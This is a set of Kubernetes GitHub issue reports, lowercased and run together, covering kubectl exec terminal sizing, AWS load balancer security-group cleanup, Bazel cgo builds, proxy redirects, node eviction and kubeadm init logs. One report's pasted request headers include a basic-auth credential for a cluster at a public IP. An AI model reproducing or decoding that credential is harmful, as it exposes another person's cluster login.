<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :  kubectl exec -it  used to set the terminal dimensions correctly. now, they're only set correctly if you resize the terminal. my theory is that this regressed due to underlying architectural changes in docker and how it creates exec processes, but i'm not 100% sure about that.\r \r   what you expected to happen  : when you  kubectl exec -it  and inspect  $columns  or  $lines , the variables should reflect the current terminal size.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. resize your terminal to something that is not the standard 80x24\r 1. kubectl run --restart never --image nginx nginx\r 1. kubectl exec -it nginx bash\r 1. echo $columns\r \r \r   anything else we need to know?  : forked from  13585.\r \r   environment  :\r - kubernetes version  use  kubectl version  : commit afc4506\r - os  e.g. from /etc/os-release : fedora 25\r - kernel  e.g.  uname -a  : 4.8.6-300.fc25.x86_64\r - others: docker-1.12.6-6.gitae7d637.fc25.x86_64\r

 \r right now when a cloud load balancer is created via a service  type=loadbalancer  it will use many nodes in the cluster as targets.  the current algorithm is to use all nodes except for those that have the \ master\  annotation  see https://github.com/kubernetes/kubernetes/pull/44745 .  \r \r we should have an explicit label  or annotation  that controls this.  this will enable both  a  a single node cluster to use cloud lb and  b  users to designate a specific subset of nodes as being lb targets.\r \r i propose that we have a tri-state label.  something like  cloud.kubernetes.io/lb-target= default|true|false   on the node.\r \r this presupposes that we have well known labels.\r \r not sure if this is networking, cluster lifecycle or cloud.  i'm going to say cloud?  but we don't have a sig yet and it is cross cloud so i guess cluster lifecycle.\r \r /cc @justinsb @thockin \r

is this a bug report or feature request?  :\r >  \r   what happened  :\r i created a service of type loadbalancer and afterwards i tried deleting the service.\r the ccm deleted the lb but was hanging during security-group deletion.\r the ccm was hanging there until i removed the rule from the parent security group.\r after this everything was fine again.\r \r relevant logs  lb creation \r    \r i0720 12:03:12.812094       1 aws.go:3180  returning cached instances for map ip-172-31-0-54.eu-central-1.compute.internal:{} ip-172-31-8-133.eu-central-1.compute.internal:{} \r i0720 12:03:12.812179       1 log_handler.go:33  aws request: ec2 describesubnets\r w0720 12:03:12.996762       1 aws.go:2294  no tagged subnets found; will fall-back to the current subnet only.  this is likely to be an error in a future version of k8s.\r i0720 12:03:12.996818       1 log_handler.go:33  aws request: ec2 describesubnets\r i0720 12:03:13.121808       1 log_handler.go:33  aws request: ec2 describeroutetables\r i0720 12:03:13.178897       1 aws.go:2399  assuming implicit use of main routing table rtb-4009d528 for subnet-2bff4f43\r i0720 12:03:13.178988       1 log_handler.go:33  aws request: ec2 describesecuritygroups\r i0720 12:03:13.241906       1 log_handler.go:33  aws request: ec2 createsecuritygroup\r i0720 12:03:13.282558       1 log_handler.go:33  aws request: ec2 createtags\r i0720 12:03:13.373004       1 log_handler.go:33  aws request: ec2 describesecuritygroups\r i0720 12:03:13.506477       1 aws.go:2012  existing security group ingress: sg-b66831dd   \r i0720 12:03:13.506519       1 aws.go:2043  adding security group ingress: sg-b66831dd  {\r   fromport: 80,\r   ipprotocol: \ tcp\ ,\r   ipranges:  {\r       cidrip: \ 0.0.0.0/0\ \r     } ,\r   toport: 80\r } {\r   fromport: 3,\r   ipprotocol: \ icmp\ ,\r   ipranges:  {\r       cidrip: \ 0.0.0.0/0\ \r     } ,\r   toport: 4\r } \r i0720 12:03:13.506621       1 log_handler.go:33  aws request: ec2 authorizesecuritygroupingress\r i0720 12:03:13.593656       1 log_handler.go:33  aws request: elasticloadbalancing describeloadbalancers\r i0720 12:03:13.630825       1 aws_loadbalancer.go:68  creating load balancer for default/frontend with name: a67a846236d4311e786700a580a504c1\r i0720 12:03:13.630914       1 log_handler.go:33  aws request: elasticloadbalancing createloadbalancer\r i0720 12:03:13.660985       1 leaderelection.go:204  succesfully renewed lease kube-system/cloud-controller-manager\r i0720 12:03:14.417776       1 log_handler.go:33  aws request: elasticloadbalancing describeloadbalancerattributes\r i0720 12:03:14.426798       1 aws_loadbalancer.go:301  updating load-balancer attributes for \ a67a846236d4311e786700a580a504c1\ \r i0720 12:03:14.426896       1 log_handler.go:33  aws request: elasticloadbalancing modifyloadbalancerattributes\r i0720 12:03:14.441151       1 log_handler.go:33  aws request: elasticloadbalancing describeloadbalancers\r i0720 12:03:14.454913       1 aws_loadbalancer.go:359  updating load-balancer health-check for \ a67a846236d4311e786700a580a504c1\ \r i0720 12:03:14.455014       1 log_handler.go:33  aws request: elasticloadbalancing configurehealthcheck\r i0720 12:03:14.465307       1 log_handler.go:33  aws request: ec2 describesecuritygroups\r i0720 12:03:14.533242       1 log_handler.go:33  aws request: ec2 describesecuritygroups\r i0720 12:03:14.609075       1 aws.go:2963  adding rule for traffic from the load balancer  sg-b66831dd  to instances  sg-a3471ec8 \r i0720 12:03:14.609153       1 log_handler.go:33  aws request: ec2 describesecuritygroups\r i0720 12:03:14.912320       1 aws.go:2082  existing security group ingress: sg-a3471ec8  {\r   ipprotocol: \ -1\ ,\r   ipranges:  {\r       cidrip: \ 172.31.0.0/16\ \r     } \r } {\r   fromport: 22,\r   ipprotocol: \ tcp\ ,\r   ipranges:  {\r       cidrip: \ 0.0.0.0/0\ \r     } ,\r   toport: 22\r } {\r   fromport: 10250,\r   ipprotocol: \ tcp\ ,\r   ipranges:  {\r       cidrip: \ 0.0.0.0/0\ \r     } ,\r   toport: 10250\r } \r i0720 12:03:14.912377       1 aws.go:1954  comparing {\r   ipprotocol: \ -1\ ,\r   useridgrouppairs:  {\r       groupid: \ sg-b66831dd\ \r     } \r } to {\r   ipprotocol: \ -1\ ,\r   ipranges:  {\r       cidrip: \ 172.31.0.0/16\ \r     } \r }\r i0720 12:03:14.912400       1 aws.go:2110  adding security group ingress: sg-a3471ec8  {\r   ipprotocol: \ -1\ ,\r   useridgrouppairs:  {\r       groupid: \ sg-b66831dd\ \r     } \r } \r i0720 12:03:14.912472       1 log_handler.go:33  aws request: ec2 authorizesecuritygroupingress\r i0720 12:03:15.042240       1 log_handler.go:33  aws request: elasticloadbalancing registerinstanceswithloadbalancer\r i0720 12:03:15.066872       1 aws_loadbalancer.go:417  instances added to load-balancer a67a846236d4311e786700a580a504c1\r    \r \r relevant logs  lb deletion \r    \r i0720 12:15:36.870913       1 servicecontroller.go:766  service has been deleted default/frontend\r i0720 12:15:36.871051       1 log_handler.go:33  aws request: elasticloadbalancing describeloadbalancers\r i0720 12:15:36.927357       1 log_handler.go:33  aws request: ec2 describesecuritygroups\r i0720 12:15:37.075412       1 log_handler.go:33  aws request: ec2 describesecuritygroups\r i0720 12:15:37.147664       1 log_handler.go:33  aws request: elasticloadbalancing deleteloadbalancer\r i0720 12:15:37.189580       1 log_handler.go:33  aws request: ec2 deletesecuritygroup\r i0720 12:15:37.277065       1 aws.go:3063  ignoring dependencyviolation while deleting load-balancer security group  sg-b66831dd , assuming because lb is in process of deleting\r i0720 12:15:37.277085       1 aws.go:3087  waiting for load-balancer to delete so we can delete security groups: frontend\r i0720 12:15:38.030957       1 leaderelection.go:204  succesfully renewed lease kube-system/cloud-controller-manager\r i0720 12:15:40.267877       1 leaderelection.go:204  succesfully renewed lease kube-system/cloud-controller-manager\r i0720 12:15:40.918682       1 reflector.go:276  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:70: forcing resync\r i0720 12:15:42.498902       1 leaderelection.go:204  succesfully renewed lease kube-system/cloud-controller-manager\r i0720 12:15:44.728797       1 leaderelection.go:204  succesfully renewed lease kube-system/cloud-controller-manager\r i0720 12:15:46.959642       1 leaderelection.go:204  succesfully renewed lease kube-system/cloud-controller-manager\r i0720 12:15:47.277366       1 log_handler.go:33  aws request: ec2 deletesecuritygroup\r i0720 12:15:47.421558       1 aws.go:3063  ignoring dependencyviolation while deleting load-balancer security group  sg-b66831dd , assuming because lb is in process of deleting\r i0720 12:15:47.421574       1 aws.go:3087  waiting for load-balancer to delete so we can delete security groups: frontend\r    \r \r   what you expected to happen  :\r previously added security group rule gets also automatically deleted.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r - deploy the ccm\r - set aws as cloud-provider\r - create an lb\r - delete the lb\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.7\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : container linux by coreos 1409.5.0  ladybug \r

testcrd is hitting the 5min limit sometimes and getting killed:\r \r https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/54040/pull-kubernetes-unit/58848/artifacts/junit_dbb07cf89b3516a97dd7efe0aecea5f6edb73152_20171017-190122.stdout

is this a bug report or feature request?  :\r \r  \r i've been working on updating our  rules_go  dependency to be able to build our \ static\  binaries with cgo disabled to match the output from the non-bazel build.\r \r it almost works, but  //cmd/kubeadm  is failing to build because it's trying to link in an empty library:\r    \r error: .../code/kubernetes/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/raw/build:3:1: gocompile vendor/github.com/google/cadvisor/container/raw/linux_amd64_pure_stripped/go_default_library~/github.com/google/cadvisor/container/raw.a failed  exit 1 : compile failed: error executing command\r    cd .../.cache/bazel/_bazel_jgrafton/75e5737b0f848bf1b7c3ab3303c8bf72/execroot/__main__ && \\\r   exec env - \\\r   bazel-out/host/bin/external/io_bazel_rules_go/go/tools/builders/compile -go bazel-out/host/bin/external/go_stdlib_linux_amd64_pure/bin/go -root_file bazel-out/host/bin/external/go_stdlib_linux_amd64_pure/root -goos linux -goarch amd64 '-cgo=0' -package_list external/go_sdk/packages.txt -src vendor/github.com/google/cadvisor/container/raw/factory.go -src vendor/github.com/google/cadvisor/container/raw/handler.go -dep github.com/golang/glog -dep github.com/google/cadvisor/container -dep github.com/google/cadvisor/container/common -dep github.com/google/cadvisor/container/libcontainer -dep github.com/google/cadvisor/fs -dep github.com/google/cadvisor/info/v1 -dep github.com/google/cadvisor/machine -dep github.com/google/cadvisor/manager/watcher -dep github.com/opencontainers/runc/libcontainer/cgroups -dep github.com/opencontainers/runc/libcontainer/cgroups/fs -dep github.com/opencontainers/runc/libcontainer/configs -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/golang/glog/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/container/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/container/common/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/container/libcontainer/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/fs/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/info/v1/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/machine/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/manager/watcher/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/opencontainers/runc/libcontainer/cgroups/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/opencontainers/runc/libcontainer/cgroups/fs/linux_amd64_pure_stripped/go_default_library~/' -i 'bazel-out/k8-fastbuild/bin/vendor/github.com/opencontainers/runc/libcontainer/configs/linux_amd64_pure_stripped/go_default_library~/' -o 'bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/container/raw/linux_amd64_pure_stripped/go_default_library~/github.com/google/cadvisor/container/raw.a' -trimpath . -i . -- -p github.com/google/cadvisor/container/raw \r \r use --sandbox_debug to see verbose messages from the sandbox\r vendor/github.com/google/cadvisor/container/raw/factory.go:23:2: import .../.cache/bazel/_bazel_jgrafton/75e5737b0f848bf1b7c3ab3303c8bf72/bazel-sandbox/4839007188253519489/execroot/__main__/bazel-out/k8-fastbuild/bin/vendor/github.com/google/cadvisor/container/libcontainer/linux_amd64_pure_stripped/go_default_library~/github.com/google/cadvisor/container/libcontainer.a: reading input: eof\r 2017/11/28 15:05:07 error running compiler: exit status 1\r target //cmd/kubeadm:kubeadm failed to build\r    \r \r the issue seems to be that  cmd/kubeadm  depends on  pkg/kubelet/apis/kubeletconfig/validation , which in turn depends on  pkg/kubelet/cm  for a few constants.\r \r  pkg/kubelet/cm  is a fairly large package, and it has has build-tag controlled cgo and !cgo variants. the cgo variant depends on cadvisor, libcontainer, and other such cgo-heavy libraries, whereas the !cgo variants do not.\r \r  go build  is pretty lazy about compiling dependencies, so it never builds cadvisor, libcontainer, etc in pure mode. bazel doesn't have this ability, however, and so it tries to build these libraries in pure mode and fails.\r \r trying to get these end libraries to build in pure mode seems futile, especially since nobody would ever use them that way. a more viable fix is to break out the constants needed by  pkg/kubelet/apis/kubeletconfig/validation  into a separate package, which simplifies the build and prevents us from ever depending on these cgo-heavy libraries.\r \r i'm not sure if there's precedence for this sort of refactoring, or where exactly the constants should go.\r \r /area build-release

as discussed in wg-cloudprovider and sig-storage meetings, @ublubu and me started working on csi adapters fthe cloudprovider-side of volume plugins. this issue is here to track progress.\r \r currently the first being worked are aws, cge and azure, if anyone is interested feel free send prs.\r \r cc @wlan0 @ublubu @jsafrane \r \r  /assign

accessing  https://<master-ip>/api/v1beta1/proxy/services/monitoring-heapster/  redirects to  https://<master-ip>/validate/  instead of    https://<master-ip>/api/v1beta1/proxy/services/monitoring-heapster/validate   here is a snapshot of the request and response headers:      remote address:104.197.10.177:443 request url:https://104.197.10.177/api/v1beta1/proxy/services/monitoring-heapster/ request method:get status code:307 temporary redirect request headersview source accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, / ;q=0.8 accept-encoding:gzip, deflate, sdch accept-language:en-us,en;q=0.8 authorization:basic ywrtaw46sxmwqkv0rdfrtmvrtenecw== cache-control:no-cache connection:keep-alive dnt:1 host:104.197.10.177 pragma:no-cache user-agent:mozilla/5.0  x11; linux x86_64  applewebkit/537.36  khtml, like gecko  chrome/40.0.2214.115 safari/537.36  response headers connection:keep-alive content-length:46 content-type:text/html; charset=utf-8 date:thu, 02 apr 2015 21:21:32 gmt location:/validate/ server:nginx/1.2.1

go 1.11.2 is out 11/2 and this bug tracks upgrade to the latest version.\r \r   is it something we should absolutely needed in the 1.13 timeframe? \r   are there any  critical fixes in 1.11.2  https://github.com/golang/go/issues?utf8=%e2%9c%93&q=milestone%3ago1.11.2+  that should absolutely take?\r   how long does the associated image updates and push take?\r   if we chose to upgrade in 1.13,  we should do it before code slush targeted for friday 11/6.\r \r /assign @ixdy \r \r @ixdy can you please clarify the above ques and and help evaluate timing of the upgrade.\r \r /cc @cjwagner @jberkus \r   / 

when profiling scalability tests at large scale, it appears that the function     selectorfromvalidatedset    can consume even 10% of cpu.\r in the profiles it's coming purely from the getpodservices in endpointscontroller.\r \r the reason for that is for every single call of getpodservices:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/endpoint/endpoints_controller.go l170\r for every single service in that namespace we build the selector from scratch:\r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/client-go/listers/core/v1/service_expansion.go l49\r \r even though a single such operation is not very expensive, the amount of that is resulting in significant percentage of overall cpu usage.\r \r \r longer-term solution is to do exactly what was done e.g. for replicaset:\r https://github.com/kubernetes/api/blob/master/apps/v1/types.go l723\r  - use appropriate type for the selector once we create v2 service api.\r \r that would mean that store-in-memory services would have the selector already created, so it would eliminate that completely.\r \r i'm wondering if there is something we can do here more short-term.\r \r @kubernetes/sig-network-misc @freehan \r @kubernetes/sig-scalability-misc \r

this pr removed the script  ./hack/make-rules/test-kubeadm-cmd.sh  which can be used to run the  cmd/kubeadm/test  integration tests.\r \r https://github.com/kubernetes/kubernetes/pull/72939\r \r the following command is claimed to be a replacement:\r    \r make test-cmd what=kubeadm\r    \r \r but instead it runs unrelated tests too.\r \r expecting the above command to only show the following output  run only kubeadm tests :\r    \r +++  0223 22:28:56  building go targets for linux/amd64:\r     cmd/kubeadm\r found packages rand  cgo1.go  and rand2  cgo2.go  in /home/lubo-it/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/bazel-kubernetes/external/go_sdk/doc/progs\r running tests for apiversion: v1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1,apps/v1beta1,apps/v1beta2,auditregistration.k8s.io/v1alpha1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,autoscaling/v2beta2,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,coordination.k8s.io/v1beta1,coordination.k8s.io/v1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,networking.k8s.io/v1beta1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,scheduling.k8s.io/v1beta1,scheduling.k8s.io/v1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  0223 22:29:16  running tests without code coverage\r ok  \tk8s.io/kubernetes/cmd/kubeadm/test/cmd\t29.694s\r    \r \r /assign @runyontr @spiffxp @cblecker \r @kubernetes/sig-cluster-lifecycle \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r for example, i have an existing configmap, configured like this:\r \r  \r apiversion: v1\r kind: configmap\r metadata:\r   name: a-config\r data:\r   application.properties: |-\r     test.name=aaa\r  \r then, in the subsequent operation, a new project is added. the required configmap is as follows:\r \r    \r apiversion: v1\r kind: configmap\r metadata:\r   name: b-config\r data:\r   application.properties: |-\r     test.nikename=aaa\r    \r it can be seen that their keys are different, but the values are the same. in b-config, it is hoped that:\r \r    \r apiversion: v1\r kind: configmap\r metadata:\r   name: b-config\r data:\r   application.properties: |-\r     test.nikename=${a-config}.${test.name}\r    \r \r   why is this needed  :\r \r when using configmap, sometimes the same value will be configured to different keys and applied in different pod. if the definition is changed for many times, it is easy to miss a certain value when it needs to be changed.

hi.  i installed k8s 0.19.3 via kube-up.sh with an aws provider.  i must be missing something obvious, but i thought this was worth posting just in case.  i find a pod-delete via curl to the v1 rest api returns 200 ok with the pod representation, instead of the status representation.    here are the vital details:  https://gist.github.com/ae6rt/3ce32740d9595fc616e9  the way i read the api docs https://52.5.163.97/swagger-ui/ !/v1/deletepod the response should be a v1.status object, not a pod.  mark

nodecontroller was written at the time when the only source of notready status was nodecontroller itself. it's no longer true and we may want to act upon this knowledge, by assuming that kubelet-driven notready status is likely temporary and allow some more time to recover than normally.  cc @davidopp @bgrant0607 @wojtek-t @fgrzadkowski @smarterclayton @quinton-hoole @kubernetes/goog-node

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r  eviction ,  node eviction \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : \r -   os    e.g. from /etc/os-release : centos7\r -   kernel    e.g.  uname -a  : 3.10.0-514.6.1.el7.x86_64\r -   install tools  : custom, partially self-hosted  control plane only \r -   others  :\r \r \r   what happened  :\r \r the node had a hardware issue last night which caused it to placed in a bad state. the kubelet itself was not reachable and events for context deadlines started to pile up for the given worker; however, the worker was never taken out of ready status or drained. \r \r i have all the default settings for node eviction. \r \r    \r events:\r operation timeout: context deadline exceeded\r kubelet worker-00\r -\r 11\r 2017-01-28t14:31 utc\r 2017-01-28t15:01 utc\r    \r \r   what you expected to happen  :\r \r i expected the node to be taken out of ready status and the pods automatically moved to another node in the cluster. \r \r

configuration for member clusters that require secure access is currently stored in secrets in the cluster hosting the federation control plane.  according to the following comment, this was originally necessary because the federation control plane didn't support secrets:\r \r https://github.com/kubernetes/kubernetes/blob/master/federation/apis/federation/v1beta1/types.go l43\r \r now that secrets are supported, cluster configuration should be stored in the federation control plane.\r \r cc: @kubernetes/sig-federation-misc

https://k8s-testgrid.appspot.com/1.6-master-upgrade gke-cvm-gci-upgrade-master\r \r    \r  k8s.io  dns should provide dns for pods for hostname and subdomain annotation 1m13s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=dns\\sshould\\sprovide\\sdns\\sfor\\spods\\sfor\\shostname\\sand\\ssubdomain\\sannotation$'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:448\r expected error:\r     < errors.errorstring | 0xc4203f3180>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:230from junit_01.xml\r    \r @monopole \r @kubernetes/kubernetes-release-managers

this is necessary for making our client library traceable  ref  26507, see also  45962 , and generally allowing passing context through client library is a good pattern.\r \r @kubernetes/sig-api-machinery-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r unimplemented  requiredduringschedulingrequiredduringexecution  should not be treated as comments of  requiredduringschedulingignoredduringexecution \r \r    pkg/api/types.go l1937  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/types.go l1937 \r \r    staging/src/k8s.io/api/core/v1/types.go l2155  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/core/v1/types.go l2155 \r \r > // not yet implemented. todo: uncomment field once it is implemented.\r \r   what you expected to happen  :\r add newline to separate them.

 \r   what happened  :\r i created an initializer that applies to pod resources. then, i created a deployment, and under the pod template, set pending initializers to an empty array as follows:\r    \r spec:\r   template:\r     metadata:\r       initializers:\r         pending:   \r    \r the deployment created a replicaset that fails with the following error message:  error creating: timeout: request did not complete within allowed duration .\r \r the pod is created in the uninitialized stage, and examining it shows that that the initializer has been applied to it, so it's completely ignored what was set in the pod template spec on the deployment.\r \r   what you expected to happen  :\r the deployment creates a pod successfully, because setting the pending initializers to empty on the metadata allows it to bypass the initializer.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create an initializer:\r    \r apiversion: admissionregistration.k8s.io/v1alpha1\r kind: initializerconfiguration\r metadata:\r   name: example-initializer\r   namespace: default\r initializers:\r   - name: example.initializer.io\r     rules:\r       - apigroups:\r           - \  \ \r         apiversions:\r           - v1\r         resources:\r           - pods\r     failurepolicy: \ ignore\ \r    \r \r create a deployment with pending initializers set to empty:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     app: example-app\r   name: example-app\r spec:\r   replicas: 1\r   template:\r     metadata:\r       initializers:\r         pending:   \r     spec:\r       containers:\r         - name: example\r           image: nginx\r    \r \r   anything else we need to know?  : n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.4\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : \r    pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  : linux ip-10-12-2-233 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux\r - install tools: kops\r - others:\r

i can't find any api server metrics for custom resources.\r \r @kubernetes/sig-api-machinery-bugs

\r \r   \r \r   what happened  :kubeadm init  --kubernetes-version=v1.9.2 --apiserver-advertise-address=10.232.219.172 \r kubeadm init  --kubernetes-version=v1.9.2 --apiserver-advertise-address=10.232.219.172\r  init  using kubernetes version: v1.9.2\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r \t warning fileexisting-crictl : crictl not found in system path\r  preflight  starting the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  centos-4.k8s.com kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 10.232.219.172 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled\r -----------------\r ystemctl status kubelet -l\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since sun 2018-01-21 09:42:30 utc; 3min 25s ago\r      docs: http://kubernetes.io/docs/\r  main pid: 4857  kubelet \r    memory: 43.3m\r    cgroup: /system.slice/kubelet.service\r            └─4857 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --cgroup-driver=cgroupfs --rotate-certificates=true --cert-dir=/var/lib/kubelet/pki --fail-swap-on=false\r \r jan 21 09:45:12 centos-4.k8s.com kubelet 4857 : e0121 09:45:12.443733    4857 kubelet.go:2105  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r jan 21 09:45:14 centos-4.k8s.com kubelet 4857 : e0121 09:45:14.400063    4857 kubelet_node_status.go:106  unable to register node \ centos-4.k8s.com\  with api server: timeout: request did not complete within allowed duration\r jan 21 09:45:14 centos-4.k8s.com kubelet 4857 : e0121 09:45:14.400147    4857 event.go:200  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ centos-4.k8s.com.150bc9f44190cb0a\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ centos-4.k8s.com\ , uid:\ centos-4.k8s.com\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ nodehassufficientdisk\ , message:\ node centos-4.k8s.com status is now: nodehassufficientdisk\ , source:v1.eventsource{component:\ kubelet\ , host:\ centos-4.k8s.com\ }, firsttimestamp:v1.time{time:time.time{wall:0xbe9136019acb0f0a, ext:172105729, loc:  time.location  0x58992c0 }}, lasttimestamp:v1.time{time:time.time{wall:0xbe9136019acb0f0a, ext:172105729, loc:  time.location  0x58992c0 }}, count:1, type:\ normal\ , eventtime:v1.microtime{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, series:  v1.eventseries  nil , 